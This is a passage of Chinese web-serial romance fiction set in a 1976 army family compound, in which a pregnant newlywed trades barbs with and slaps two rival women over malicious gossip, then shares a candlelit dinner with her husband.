“霍团长,李菊花话糙理不糙。你是有订婚对象的人。岂能被人随便说是你媳妇,就能赖上你不成?你放心,这事组织上不会不管。这不是你个人的事情,这关系到咱部队的名声。”
“你们说完了吗?说完就请回吧。”
霍战北平淡的声音,
“你们声音太大,别吵醒我媳妇。”
“霍团长,你别这样,你
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有什么苦,你和组织上说。我当了一辈子妇女主任了,啥样的女人没见过。”
“就是,霍团长,你对象有知识有气质,你不要。非要一个乡下来的大字不识一个的胖村姑。她还揣了别人的崽?你是不是被那个村姑……”
哦?
苏圆圆坐了起来,
怎么听着堂屋有两个女人在和霍战北说话,好像在劝霍战北别要她当媳妇。
她下床穿鞋,走出里屋,睡眼惺忪打了个哈欠,
“谁啊,一大早的,跟只打鸣的老母鸡一样,咯咯的让人睡不着觉。”
来扒她的媒?她自然不能好生好气的惯着。
“有你这样当人家媳妇的吗?这都九点了,太阳都能晒屁股了。你让一个病号给你买早饭,伺候你?”
女人声音威严地说。
苏圆圆才注意到,屋里两人,瘦麻杆挺着孕肚的女人,就是一直操着尖细声音,嚷着让霍战北别要她的女人。
另一个中年女人,齐耳短发,穿一身干部服。
显然是那个一直强调组织会帮霍战北的人。
说完目光落在桌上,一个铁皮饭盒,上面摆着一双筷子。
“北北,你去食堂帮我买了早饭。”
说着旁若无人地走过去,拉过一个板凳坐下,打开饭盒,整整一饭盒的白胖饺子。
“哎哟,你怎么知道我想吃饺子的?咱这部队食堂伙食还怪好的咧,一大清早就有饺子卖。”
完全无视旁边坐着的两人,脸上的表情变了又变。
苏圆圆夹起一只饺子放进嘴里,
“嗯,猪肉白菜馅的。和我昨天晚上做梦吃到的一样。嘿嘿,北北,你从实招来,是不是昨天晚上听见我说梦话了?”
苏圆圆故意这么做的,她就是要让屋里的两女人难堪。
干啥不好,一大清早来扒人家的媒。
什么人啊这是!
“嗯,你昨天说梦话要吃饺子,还要白菜馅的。一大早郑好来送饭,我让他去国营饭店买的。”
苏圆圆完全没想到,霍战北会这样回答她。
脸腾的一下红了。
假恩爱变成了真恩爱。
这个霍战北果然是个极闷骚的!
太让人羞耻了。
第12章 怀了孩子天天馋肉
“你就是霍团长的新媳妇?”
妇女主任一脸震惊地看着面前恩爱的两个人。
“嗯,你们这一大早的到我家来扒媒,不会连你要扒的对象是谁,都不认识吧?”
妇女主任被这一句话直戳了肺管子。
她看了一眼旁边的李菊花。
天还黑蒙蒙的,李菊花就去她家,告诉她昨儿有一个乡下女人,挺着大肚子,硬赖在霍团长家。
说她是霍团长媳妇,还非说霍团长是她肚子里崽的亲爹。
霍团长绝嗣那可是军区公开的秘密。
这会子竟然能让一个揣崽乡下女人赖上?
出了这样的事,显得她这个妇女主任没有把工作做好啊!
所以一听李菊花说完情况,妇女主任立马带着她一起,来霍家,给霍团长帮忙,妥善处理,撵走那个乡下女人。
可现在,妇女主任怎么感觉,事情好像不是她想的那样。
“她不是霍团长的媳妇,人家霍团长在海市订的婚。她一个乡下胖丫头,连海市在哪都不知道吧。”
李菊花被妇女主任这么一盯,心里猛地一跳。
“你叫李菊花?”
苏圆圆的目光从女人黝黑麻子夹着妊娠斑的脸上,再落到她隆起的肚子上。
她记得书中是有这么一个人。
麻脸、黑皮、孕妇,瘦得麻杆样,这么显著的特征,她自然记得住。
好像是夏千燕的死忠粉,在书里帮着夏千燕做过许多坏事。
嗯,好像原主难产而死的时候,这个李菊花也出现过。具体干了什么,书中细节她记不得了。
仇人!
“你也是个孕妇,怎么说话一点也不知道为肚子里的孩子积点德呢?”
苏圆圆又吃了一个饺子,白菜大肉馅,香死个人。
七十年代猪肉都是自家养的,再加上新鲜大白菜,啧啧,真是太好吃了。
“啧啧,这饺子真是太好吃了,肉贼拉香!”
苏圆圆记得书中写过这个李菊花日子过得特别穷。
家里有一点吃的,都得紧着她家男人——一个退伍留在部队看仓库的保管员。
看看她全身上下就只有肚子上有点肉了,整个人瘦得一阵风都能吹跑。
怪不得说几句话,就累得像快要咽气一样。
苏圆圆故意把饺子咬开,霸道的热呼呼的白面香、肉香和白菜的甜香交织在一起,直扑李菊花的脸。
“你咋知道霍战北在海市订过婚了,他订婚请你去了?”
“霍团长对象就住在你家隔壁,昨天我们家属院的人都见了,人家大城市来的,漂亮着呢。”
隔壁?
苏圆圆盯着霍战北。
“东边是张政委家。昨儿我让郑好把她和东西打包扔出去了。”
霍战北想到昨天晚上,他是交代郑好,如果夏千燕不愿意去住招待所,就把人和东西全扔张政委家。
打包扔出去了?
妇女主任责怪地看了一眼李菊花。
她干了二十年妇女主任,处理的家庭**多了。
到了这时候,啥看不明白。
人家霍团长哪里是被欺负了,这分明是在海市大小姐和乡下肥丫头中间,主动选择了这个乡下肥丫。
只是,
霍团长这喜好还真独特!
“你看看你这人吧,情商低,就是不会办事。”
苏圆圆心里呵呵,霍战北这个棒槌,真怨人家张政委给他认错了媳妇,把夏千燕打包退货给张政委了?
不过,这粗暴的做法怎么莫名让她,感觉到特别爽呢?
好男人就像驴子,既要让他勤勤恳恳知道做事,又要给他头前吊一根胡萝卜,让他有点念想和奔头。
“啊,张嘴!”
“治的好,扔得妙,勾引别人男人的女人就是犯贱,得治!”
苏圆圆把自己咬剩下一半的饺子,直接塞进了霍战北的嘴里。
“香不香?”
霍战北咀嚼了一下,香,太香了。
他面无表情地点头,嗯了一声。
但一直注意观察着他的妇女主任眼尖地看到了,霍团长耳朵红了。
咦,
霍团长居然害羞了。
啊!这乡下肥丫也太……
居然当着她们两个外人的面,就这么……
“你,霍团长你——”
李菊花的尖细声音又响起来,只说一半,仿佛受了巨
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大惊吓一般,断音了。
顺着李菊花的目光,眼尖的妇女主任看到了,霍团长露出在风纪扣处的脖子上,一处可疑的红印子。
妇女主任这会子还有啥不明白的,人家霍团长这不明摆着,还挺心甜人家的胖媳妇。
感情人家小两口,一个愿打一个愿挨,处得甜蜜着呢。她枉做了一个坏人。
妇女主任调解家庭**一辈子,劝和不劝离,还是头一回差点成了扒媒的,转头瞪一眼李菊花。
“我以前没怀孕时,一点也不喜欢吃肉。不知为啥,这怀了孩子,天天馋肉。李菊花,你这肚子大的,快要生了吧?你馋不馋肉?”
苏圆圆夹一个饺子,伸到李菊花面前晃一下,咬一口,
“嗯,真太香了,贼拉香!也不知道这怀了孩子为啥这么馋,想吃啥,一下子就得吃嘴里,不然浑身都不得劲。”
李菊花眼泪在眼眶里打转,
太欺负人了!
刚才饭盒一打开,一股子白面夹杂着肉香油香的味道,就霸道地真冲李菊花的鼻腔。
她怀孕八个月了,馋肉馋得半夜睡不着,爬起来用筷子头沾着猪油罐子底,舔半夜。
昨天傍晚李大山好不容易偷偷给她带了一兜子鸡蛋,还全摔碎糊夏千燕脸上了。
自打苏圆圆开始吃第一个饺子,李菊花就一直盯着,在心里数着。
苏圆圆已经吃了十个饺子了,盒子里看起来还有二十多个。
霍团长可真疼媳妇,三十个饺子,国营饭店买的,那得花五**四分钱,还得半斤粮票。
霍团长一个月工资168块钱,就他们小两口过日子,人家就是日日吃这猪肉白菜馅饺子,也能吃得起。
李菊花忍不住咽了口唾沫,她男人是部队后勤看仓库的保管员,一个月工资54块钱。每个月还要寄回家里25,男人兜里留10块钱吸烟喝酒。
到她手里就只剩下19块钱。她还有三个孩子要养,肚子里还有一个快生的。
别说猪肉饺子,就是纯白面白菜饺子,她家也吃不起。
她馋,她真是太馋了,苏圆圆还气她,她真想伸**一个饺子塞嘴里。
第13章 我媳妇生的就是我的
刚才饭盒一打开,一股子白面夹杂着肉香油香的味道,就霸道地真冲李菊花的鼻腔。
她怀孕八个月了,馋肉馋得半夜睡不着,爬起来用筷子头沾着猪油罐子底,舔半夜。
昨天傍晚李大山好不容易偷偷给她带了一兜子鸡蛋,还全摔碎糊夏千燕脸上了。
自打苏圆圆开始吃第一个饺子,李菊花就一直盯着,在心里数着。
苏圆圆已经吃了十个饺子了,盒子里看起来还有二十多个。
霍团长可真疼媳妇,三十个饺子,国营饭店买的,那得花五**四分钱,还得半斤粮票。
霍团长一个月工资168块钱,就他们小两口过日子,人家就是日日吃这猪肉白菜馅饺子,也能吃得起。
李菊花忍不住咽了口唾沫,她男人是部队后勤看仓库的保管员,一个月工资54块钱。每个月还要寄回家里25,男人兜里留10块钱吸烟喝酒。
到她手里就只剩下19块钱。她还有三个孩子要养,肚子里还有一个快生的。
别说猪肉饺子,就是纯白面白菜饺子,她家也吃不起。
她馋,她真是太馋了,苏圆圆还气她,她真想伸**一个饺子塞嘴里。
“你看你胖得都快走不动了,饺子再好吃,也得管住嘴。到时候孩子太大,不好生,容易难产。”
哧溜——
一个没留神,一串口水掉了下来。
李菊花怔了一下,黑脸立马红了。
妇女主任看到李菊花的囧相,实在……
“霍团长家的——”
“妇女主任同志,你们一大清早,辛辛苦苦来扒我的媒,”
苏圆圆把嘴里饺子咽下去,笑眯眯望着妇女主任,
“不会还想让我再请你们吃顿饺子吧?”
“那个——我说霍团长家的——”
妇女主任刚想说几句软和话,圆了这个尴尬的场子,赶紧离开。
谁知一开口,又被苏圆圆阴阳了,
“妇女主任同志,你叫错了吧?你们刚才还说我不是霍战北媳妇,咋一转眼,想吃我家饺子了,就改口叫我霍团长家的了。”
“霍团长家的,那个霍团长——”
妇女主任给人调解半辈子,伶牙俐齿半辈子,啥时候被人怼成这样过。
看这胖媳妇油盐不进,得理不饶人,赶紧转向霍战北。
“我们霍家的规矩,大事男人说了算,小事媳妇说了算。一盘饺子在我们霍家,应该不算个事。”
看着霍战北一本正经地样子,苏圆圆乐了。
这个男人,真是越看越让人稀罕。
“李菊花,你要真想吃饺子,我也不是不能送你几个解解馋。瞧你这小身子骨,瘦得真真让人可怜。万一到生的时候,使不上劲,你说说……”
李菊花这样替夏千燕冲锋陷阵的坏货,苏圆圆可不会惯着。
同样是孕妇,竟然敢咒她太胖生不出孩子。
果然啥人找啥人,和夏千燕一样恶毒的货。
“你——你竟然咒我生不出孩子。你——”
“我什么我,这话不是刚才你先说的吗?怎么,你说别人可以,别人一说你,就不行了?你以为你是谁?王母娘娘还是太上老君?啥法杖都没有,净显着你这张脸了!”
李菊花没想到,当着霍团长的面,苏圆圆竟然啥话都敢说,一点也不顾及身份脸面。
“你再能,你也是揣着别人的崽嫁过来的二婚头,有啥可显摆的。”
李菊花恶毒地盯着苏圆圆的肚子,
“还不知道是啥人的种?”
流口水的羞耻,被骂难产的气愤,没完成任务怕夏千燕责怪的担忧,怕秘密泄露被毒打的恐惧。
李菊花一心只想着让苏圆圆难堪,一时口不择言。
“李菊花!”
妇女主任吓了一跳。厉声喝斥。
她是代表组织,前来帮助霍团长解决问题的。目标是苏圆圆。
李菊花怎么和苏圆圆吵,说大天,也只是两女人吵嘴。但现在她句句都冲着霍团长去了。
每一句话,都在撕霍团长的脸。
这个李菊花平时看着怪老实,她才会相信了李菊花所说的那些话。
没想到,竟然是个没脑子,拎不清的货色。
被妇女主任这么一训,她也意识到自己刚才太激动,说话没经大脑,会得罪霍团长。
赶紧冲着霍战北露出一个讨好的笑,
“霍——霍团长,我不是说你的。我是替你不值
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。你这样有本事的男人,想娶啥样的女人没有。这样又丑又胖的乡下肥婆,还不知揣着谁的崽,实在配不上你。”
“我不能生,又不是我媳妇不能生。”
霍战北在两人震惊的目光中,表情平静地继续说,
“不管是谁的。我媳妇生的,就是我的。”
屋里一片死寂。
李菊花脸红脖子粗,一脸麻子都红了,
“她那么胖,全身都能挼一桶油,有啥好的?”
“我媳妇胖又没吃你家米,我就喜欢胖的,又软又香,不行吗?”
妇女主任眼睛越瞪越大。
我是谁?
我这是在哪里?
我听到了什么?
我的老天爷啊!瞧瞧,**了件什么蠢事!
妇女主任毕竟是妇女主任,一把捂住李菊花的嘴,冲着霍战北和苏圆圆笑,
“吃饺子要吃烫的,娶媳妇要娶胖的,胖点好,胖了晚上睡觉,枕着都不硌得慌。”
拖着李菊花就往走,
“霍团长家的,以后有啥困难找组织,我们先走了,就不耽误你们吃饭了。”
妇女主任连拉带拽,拖着李菊花,像被鬼撵一样走了。
苏圆圆瞪着还在晃动的院门,再看看自己一身肥肉,顿时觉得嘴里的饺子都不香了。
胖,胖,胖!
感情胖这个梗在她身上是过不去了。
她是不是应该考虑一下减肥的事了!
……
“圆圆妹妹,一起洗澡去。”
夕阳西下,院门被推开,张红英端着个黄色搪瓷盆,站在门口。
“来了。”
苏圆圆应一声。
刚搬进新家,过日子的东西哪哪都不顺手。
苏圆圆在家里拾掇了一天,总算顺眼了。
一身又是汗味,又是沾了灰的。
就约了隔壁刚下班的张红英,一起去部队大澡堂子洗澡。
“用这个新盆,水多地滑,你大着肚子不方便,有事就叫张红英帮你。”
霍战北转着轮椅,把一个崭新的白底红双喜字的搪瓷盆,递给苏圆圆。
白底!
红字!
大花!
苏圆圆嘴角抽一下,好有年代感,好喜庆的洗脸盆子。
第14章 一起洗澡去
生活区在西南方向,家属院、澡堂、供销社都挤在这一块。
苏圆圆一边走,一边记着路。
从家属院出来,往北走经过供销社,再往东一拐,就是澡堂。站在澡堂门口往东望,
远远地能看到大食堂前,一队战士端着盆,排着队伍往澡堂走来,队列整齐、歌声嘹亮,
“日落西山红霞飞,战士打靶把营归,把营归……”
走在苏圆圆身边的张红英哼唱起来,
“胸前红花映彩霞,愉快的歌声满天飞,Mi
so
la
mi
so,La
so
mi
dao
re……”
站在澡堂门口排队等的女人和孩子,好多人都跟着唱了起来,
“Mi
so
la
mi
so,La
so
mi
dao
re……歌声飞到北京去,**主席听了心欢喜。夸咱们歌儿唱的好,夸咱们枪法数第一”
队伍越走越近,最终停在男澡堂门口,众人齐唱,
“Mi
so
la
mi
so,La
so
mi
dao
re,夸咱们枪法数第一,一二三四”
老天爷啊!
她这是看到真实的历史场景了。
苏圆圆作为一个现代人,真真被这众人齐心、血槽满满的场景震憾了!
大澡堂是一排平房,男女分开,一个厚厚的棉布帘子掩着女澡堂的小门,旁边墙上刷着一行标语:练兵备战保家国,节约卫生两不误!
直到进入澡堂,全身浸到滚烫的水池里,苏圆圆才从刚才的震撼中回过神来。
“圆圆,你坐这边,挨着冷水口。那边水热,你皮肤嫩,别烫着。”
张红英拉着苏圆圆坐到小池和大池连接处。
女澡堂有一大一小两池子,大池子水热好泡,小池子水温一些,小孩子多在那里洗。
“红英姐,你唱歌真好听。等你结婚的时候,我送你一台收音机。”
在公众场合,苏圆圆没叫张红英嫂子。
毕竟这是1976年,男女处对象,是要经过媒人牵线,双方家长同意的。
她三哥和张红英两人虽然郎有情妹有意,可昨儿她看张政委那脸色,明显是不乐意这门亲事。
“怪不得人人都宠你,你这丫头就是嘴甜。”
张红英笑,把一块香胰子递过来,
“给,用这个洗。”
“我也不知道霍战北都给我带了啥。”
来的时候,霍战北递给她一个盆,里面放着木梳、毛巾……
苏圆圆扒拉一下,咦,有香胰子、雪花膏……
“啧啧,看不出来,你们家霍团长一个大老爷们,竟然比女人还细心。”
张红英笑,
“我都忘了带梳子。”
“嗯,霍战北别看脸子冷,还真是会疼人的。”
苏圆圆也不害羞,挤在张红英耳边,小声给她叽咕了几句。
张红英一脸羡慕又欢喜地说,
“你们两这盲婚哑嫁的,没想到,还真对了眼。霍团长这么会疼媳妇,你家里人总算能放心了。”
“啥霍团长媳妇,这人就算是不照镜子,用两眼也得瞧瞧自个儿那磕碜的样吧!”
一个熟悉的尖利声音突兀地响起。
隔着澡堂里氤氲的雾气,苏圆圆准确地捕捉到了两个熟悉的身影。
夏千燕和李菊花居然也在里面洗澡。
显然比她来得早。
苏圆圆扫了一眼围在夏千燕身边的那些女人孩子。
大大小小一身白沫子。
咦,香皂的味道?
苏圆圆眼尖地看到池沿边丢弃撕烂的力士香皂包装。
这个时代,家家清洁用品用的大多是劳保肥皂,去污强、味道冲,一块才5分钱。
力士香皂是进口的,只有海市友谊商店才有,得凭票或托人买。不但稀罕还死贵,一块2块钱。够买几十块劳保香皂了。
夏千燕竟然舍得拿出一块力士香皂给大家用。
这收买人心的力度,她又憋啥坏招了?
“我不用照镜子,也知道自己长得又白又香又俊。倒不像有些人,两眼只盯着别人头上的虮子,却不知道自己满头爬的都是虱子。”
李菊花?
这女人真是一个打不死的小强!
一大早在她家被骂一顿还不长记性,又来找她的事。
要么夏千燕给她的好处不少,要么就是她有啥把柄被捏住了?
“苏圆圆,你个大肥婆。你说谁头上生虱子呢?”
苏圆圆听着李菊花声音慌了,拿着毛巾盖到又稀又黄的头发上。
对了,七十年代,很多小孩
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子不怎么注意个人卫生,身上头上生虱子多了。
李菊花家有三个孩子,生虱子太有可能了。传染给她这个当妈的头上,一点也不稀罕。
“她只是说了个比喻!”
站在李菊花旁边洗的夏千燕嫌弃地瞪了她一眼。
这女人真没用,干啥啥不成。连被人讽刺挖苦的话都听不懂。
夏千燕赶紧又往旁边退了退,这女人不会头上真生虱子,再传染到她身上吧?
“李菊花,你一张嘴就论人长短。没冤没仇的,你咋这么碎嘴子!”
张红英知道军区大院许多姑娘媳妇都喜欢霍战北,要是霍战北娶了夏千燕还好,偏娶了处处不如她们的苏圆圆。
这些大姑娘小媳妇心里顶顶烦圆圆了。
别人找事,她还能理解,李菊花这个三个孩子的妈,总找圆圆的事,图啥呢?
“哎哟哟,我说这是谁护着个肥婆呢?感情是看上了人家哥,才这么费心护着人家妹子呢?”
李菊花尖利的声音一落,池子里正揉沫沫的军嫂哈哈笑起来。
“什么看上人家哥,咋回事啊?”
“你没听说吗?今天大院都传疯了。”
“就是张政委家闺女看上了……”
“我还听说,有天晚上……”
听着身边军嫂们的小声议论,夏千燕心疼地看了一眼她那被用的几乎不剩的力士香皂。
总算没白费她这番心思。
苏圆圆听不清那些女人说什么,但心知一准在说她和张红英的坏话。
“李菊花,别一说你咳嗽你就喘。再瞎哔哔,就你那小体格子,我一个大耳把子扇飞你。”
夏千燕看火候差不多了,小声说,
“记得我之前怎么给你说的吗?快去——”
李菊花身子缩了一下,听话地伸手提起放在池子边的篮子,往苏圆圆身边走去,
“苏圆圆,光耍嘴皮子没用。你看看,咱这一澡堂子人,谁有你胖?”
李菊花往前挤了一下,顺手把篮子放在了张红英面前,
“我听人说,你和霍团长是五个月前认识的吧?可是我瞧着你这肚子,倒是显得比我这八个月的还大?”
“李菊花,你要不会说话就别说。往谁身上泼脏水呢?”
张红英急了,圆圆揣着崽来找绝嗣的霍战北,好多老娘们背地里,说的脏话难听**
“我就是比你个高,哪哪都比你大,怎么了?不服气,不服气你也给我憋着。”
第15章 两大门牙掉了
苏圆圆拍拍肚子,
“就不兴我怀的是双胞胎?当然比普通怀一个的肚子大了。”
张红英点点头,
“就是,咱家圆圆说不定怀的是龙凤胎!”
苏圆圆用赞许的眼光看了张红英一眼,心里暗乐,姐姐,你可真是猜对了。
原书中女主难产生下的就是一对龙凤胎。
呕——
张红英突然对着面前的篮子呕了一声。
“李菊花,你竟然在篮子里放那种东西,你恶心**了。”
听张红英这么一说,苏圆圆才探头看了一眼篮子。
“你自己胃里犯酸,自己要吐,和我有什么关系?别像条狗一样,逮着谁都想咬一口。”
李菊花提着篮子退回去,速度很快,苏圆圆只来得及看清,篮子盖布下面露出的一角。
好像是沾了血渍的卫生巾?
呕——
真恶心!
苏圆圆没控制住,也呕了几声。
“瞧瞧,这一个两个的,怀孩子的吐,不怀孩子的也吐。这不知道的,还以为你两都怀上了呢?”
李菊花笑了两声,又喘上了,喉咙里吼吼的,一副随时会断气的样子。
“就是,红英这肚子看着也挺鼓的。”
“你刚才没听那几个媳妇子说吗?红英有对象。”
“没听红英妈说啊,谁给介绍的对象,哪的人?”
“偷偷处的,家里人都不愿意。这不,出事了吧。”
“可不是吗?我瞧着这肚子鼓的像三月的。”
“你们可别瞎说。人家红英可是个没出门子的大姑娘。”
“啥大姑娘,你没瞧见刚才她都吐了吗?和那个怀孕的胖媳妇吐的一样的。”
苏圆圆脸色一变,她想起来了。
原书里好像有这么一段,澡堂里,夏千燕不但让人诬陷她怀的是野种,还让人散播张红英和她三哥的流言。
说两人偷偷处对象,张家人不同意,两人就……想利用张红英肚子里的孩子,逼张家同意这门婚事。
苏圆圆眼神冷下来,动她就算了,竟然还把脏手伸到她朋友身上。
夏千燕这次真惹**她了。
苏圆圆起身走过去,李菊花还没反应过来,一个大耳刮子就扇到了她瘦削的麻脸上。
啊!
尖叫停住,苏圆圆一手捏着李菊花的下巴,一手在她脸上挥舞。
**,一连扇了十几个耳光才停下,松开手,李菊花瘫坐在地上。
“传人家一个没结婚、没谈对象的姑娘家的闲话,这不是碎嘴子,这是软刀子**!”
苏圆圆高大肥胖,李菊花瘦小干枯。
两人力量悬殊,李菊花哪敢反抗。
转身就往夏千燕身边跑。
“圆圆,咱不生气,小心你肚子里的孩子。”
张红英跟在后面喊,心里感动得一塌糊涂。
谣言杀**,她一个姑娘家,总不能走到人前,一个个跟人家解释,她和人文明谈对象,没有……没有怀孕吧!
“夏千燕——”
“你干什么?我可没招惹你们!”
夏千燕怎么也没想到,苏圆圆竟然直接朝她走过来。
随着苏圆圆的逼近,那一身带着热蒸汽的肥肉,几乎要怼到她身上。
“那个小苏啊,你别冲动。你还怀着孩子。别动了胎气。”
“对,小苏啊,有话好好说。”
“李菊花是嘴碎,可这些话白天大院里好多人都在传,也不一定就是李菊花说的。”
“人家燕子是从海市才来我们这的,啥也不知道,小苏啊,你是孕妇,孩子要紧。”
力士香皂可没白使,那些个身上抹着白沫沫的嫂子们,一看苏圆圆冲着夏千燕来了,赶紧劝架。
“都是我自己的事,和夏姑娘没关系,我——”
李菊花也赶紧跟过来,挡在夏千燕身前,
一张嘴,两颗带血的大门牙掉了下来。
呕-
这一次,夏千燕忍不住吐了。
“瞧瞧,这一个两个的,怀孩子的吐,不怀孩子的也吐。不知道的,还以为你也怀上孩子了呢?”
这回旋镖竟然扎回了她身上!
“我没结婚没对象,我怀什么孩子?苏圆圆你别血口喷人。你以为谁都像你,怀个野种都敢来找霍战北接盘。”
“夏千燕,这招不是你使的吗?”
苏圆圆伸手拿过旁边的篮子,直接揭开了上面的盖布。
“瞧瞧这是什么?”
她提溜着那条带着血渍的卫生巾。
那是一条用月事带固定的进口无胶卫生巾。
“夏千燕,
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你是不是觉得你很聪明,别人都是傻子啊!你不会说这东西是李菊花用的吧?你让李菊花拿这个故意恶心红英,让她吐。你心思可真够恶毒的。”
刚才替两人说话的军嫂们脸色变了。
平时她们都是在供销社买月事带,凭票买1块钱一条。每次都要把卫生纸叠成厚垫,固定在月事带里。
无胶卫生巾这种高档东西,只有海市友谊商店有。听说2块钱一包,只有十片。
别说穷得吃土的李菊花家,她们也都用不起啊。
就是狠狠心,不心疼钱,也托不着关系买啊。
“夏千燕,你不会说这就是李菊花一个孕妇自己用的吧?”
夏千燕脸色一下灰败。
她万万没有想到,会败在这个细节上。
啪!
一个响亮的耳光打在了她的脸上。
“你恨霍战北选了我,算计我也就罢了,竟然还敢把脏手伸到红英姐姐身上,你脸可真大!”
啪!
又是一记响亮的耳光。
夏千燕脸皮娇嫩,苏圆圆又是使了大力气的。这一下子,她左右两边小脸各印着一个巴掌印,对称完美了。
“苏圆圆,你打我,我和你拼了!”
回过神来的夏千燕再也不讲什么矜持,像个疯婆子一样,扑向苏圆圆。
“你打我试试!”
苏圆圆肚子一挺,
“你碰掉了我的孩子,信不信霍战北会要了你的命!”
夏千燕猛地刹住脚。
“你肚子里的孩子根本不是战北哥哥的。你以为就你会怀孩子,在这里的嫂子们哪个没生过孩子。让她们瞧瞧你这肚子,五个月的孩子肚子有这么大吗?”
夏千燕清楚,这会子她要真打了苏圆圆,让她动了胎气。
凭霍战北那性子,一准会立马派人把她送回海市,她就完全没有机会追回霍战北了。
“我肚子大不大,小不小,和你有啥关系?”
“别说我怀的就是霍战北的孩子;就是我怀的是别人的,霍战北乐意认,那也是他的孩子。你管得着吗?”
“还战北哥哥?你当着我的面,叫我男人哥哥,你真当我是死的吗?”
“来来来,不信你问问在场的各位嫂子们,你喊她们家男人哥哥,她们乐意不?”
第16章 烛光下的狗男人
嫂子们一片哗然。
是啊,这夏姑娘再是大城市里来的,开放一些,也不能喊一个结过婚的男人哥哥啊!
苏圆圆一看军嫂们看向夏千燕的眼神变了,立马开启狂喷夏千燕的模式:
“你拿一块力士香皂收买人心,就想让这些嫂子妹妹们为你出头,你这是看不起谁呢?”
“今儿你用一块香皂,那白天呢?在大院里,你又送了啥给这些嫂子妹妹们?”
“炒瓜子、大白兔奶糖、还是麻花馓子江米棍?”
“你敢说李菊花不是你指使的?”
“你敢说往红英姐身上泼脏水的事,不是你干的?”
“你敢说在大院里,传我肚子里怀个野种的,不是你?”
苏圆圆一句句指责,撕开了夏千燕的脸皮。
“你拿些个零嘴小吃来哄着嫂子妹妹们,自个儿在后面当缩头乌龟,倒让她们来为你这个资本家大小姐出头。往我和霍团长身上泼脏水!”
“我家可是三代贫农。你这是搞小团体,破坏稳定、抹黑军婚!”
“你——我?”
夏千燕心脏狂跳,原书中那个窝囊的乡下无知胖丫,怎么变得比她这个高中生还厉害?
资本家大小姐?
破坏稳定、抹黑军婚?
这几个词砸下来,刚才议论的军嫂们全都变了脸色。
刚才给她们孩子糖吃,主动给她们使进口香皂,还说自己是霍团长对象。
这一转眼,咋就变成资本家大小姐了?
贪小便宜不算啥,但阶级立场一定要坚定!这点子觉悟军嫂们还是有的。
“我什么我?夏千燕,你不就是恨霍战北选了我当媳妇,没选你吗?你还有脸到处宣传你是霍战北对象。”
苏圆圆鄙夷地目光在夏千燕身上扫一圈,
“你是和霍战北订过亲!可霍战北为啥不要你,还不是因为你在霍家出事的时候,悔婚跑路了吗?”
军嫂们一时议论纷纷。
原来这个夏千燕竟真是霍团长的前对象!
原来夏千燕在霍家有难的时候,扔了人家霍团长!
都这样了,夏千燕咋还有脸来找人家霍团长,要吃回头草的?
啧啧,
怪不得人品不行,原来还是个资本家大小姐啊!
“那是我和战北哥哥的事,和你无关!”
夏千燕慌了。
这怎么和上辈子不一样了?
苏圆圆怎么知道她悔婚的事?
难道这样的事,霍战北也都和她说了?
“你这话说的可真有意思,来来,让在场的嫂子妹妹们评评理!”
苏圆圆战斗力爆表,
“你叫谁哥哥呢?再叫一句试试!”
砰!
夏千燕倒下,砸到水池的声音!
她怒急攻心、气晕过去了……
夜色微凉,烛光初绽。
苏圆圆和张红英在门口分开,
“红英姐,我刚才路上给你说的事,你再考虑一下。”
“嗯。”
张红英挥挥手,端着黄搪瓷盆往家走。
才刚一转过墙角,一束野花伸到了她面前,
“英子,你今天真好看。”
“英子,你头发真黑。”
“英子,你……”
张红英脸一红,
“你少贫嘴了,你咋在这里?”
“我来给我妹妹送些东西,听说你们两去洗澡了。就在这里等你一会。走,我们到那边小树林去,我有事和你说。”
小树林?
两人走远了,夏千燕从隔壁院门后走出来,望着小树林的方向,眼神亮得可怕……
苏圆圆进了院内,放下盆,把里面洗好的衣裳,直接晒在了院子里绳上。转身进屋。
“回来了,坐下吃饭。”
霍战北坐在饭桌前,伸手把桌上四个铝饭盒打开。
土豆白菜炖粉条、炒鸡蛋、玉米面窝头、小米粥。
“郑好从食堂打来的,你先凑合着吃。家里锅碗瓢勺我写了清单,明儿让郑好买齐送过来。”
霍战北看了一眼苏圆圆拿着筷子的小胖手。
白净圆呼,带着几个小肉窝窝,皮肤细嫩如婴儿,指甲修剪整齐。一看就知道是个没干过活的手。
想到刚才苏陈皮来时,说的那些话:
“我妹圆宝是我们全家娇养着长大的,不会做饭、不会洗衣裳、不会下地。这些活以后你都别让她干,你干不了,叫我来,**。”
“我妹喜欢吃肉、吃甜的、要吃白面精米。那些黑面粗粮你都不要给我妹吃。吃了她会拉不下屎的。”
“这些话都是我爹娘今天打电话,让我交代你的。”
“对了,我妹脾气不好,她生气时你千万不要和她吵嘴,更不能和她动手。不然,她会围着家属院骂你三天三夜,祖宗八代都给你撅完,绝不带重样的。”
“这
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几个菜都是从食堂打的,多少钱?”
苏圆圆看这几个菜,清汤寡水的。
“在干部灶上打的,我的伙食标准是一月18块钱,45斤粮票。”
哦,收拾了一天屋子,早上吃的饺子,中午还是霍战北让郑好从国营饭店买的肉丝面。
苏圆圆一个现代人,饺子、肉丝面都是普通打工者的日常简餐,忘了这可是1976年,啥样的人家,也不能天天下饭店啊!
“怕你吃不习惯,我让郑好叫小食堂炒了个鸡蛋。哦,明天郑好来时,你给他炒鸡蛋钱,两**。”
哦,苏圆圆这才想起来,昨儿晚上霍战北把钱和票全给她了。
今天她还没数。
明天她得数数有多少家底,每个月给男人发些零用钱。
她娘经常说,男人腰里不能有大钱,钱一多男人就变坏。
“会给媳妇买炒鸡蛋的男人是好男人,让媳妇当家的男人是好男人。”
苏圆圆热切的目光从上到下,仔细打量着坐在她对面的男人,
“这是谁的男人啊,这么好?原来是苏圆圆的男人啊!”
哈哈,她笑起来。
霍战北的眸光暗下来。
灯光下,媳妇刚洗过澡的皮肤眨着婴儿的柔光,浑身散发着淡淡的奶香味。
媳妇的声音娇娇的、软软的、像个小猫爪子,在他的心尖上挠啊挠。
“我妹圆宝最会撒娇了,她一撒娇,我们全家都得投降。”
苏陈皮的话突然在脑海里冒出来。
滋——
电灯闪了一下,灭了,屋里一片黑暗。
“部队家属院是用柴油发电机供电的,怕是机子又坏了。”
“你别动,我去拿灯,咱家的灯在哪?”
苏圆圆站起来,她家霍战北腿伤了,她还没丧心病狂到,会让一个病号站起来摸黑去拿灯。
“就在我身后的桌子上有煤油灯,下面抽屉有蜡烛和火柴。”
“咱点蜡烛吧。”
煤油灯?
苏圆圆表示她只在年代电影里看过,她现在可不会用。
屋里暗,只有窗外的星光微弱。
苏圆圆摸着桌子走过去,伸手一摸,摸到一片温热。
咦,
这是?
“媳妇,你摸的是我的脸?”
不好意思,她方向感太差了。
苏圆圆继续摸索。
“媳妇,你摸着我脖子了……”
第17章 团长你娘来了
我?
苏圆圆脸一热。
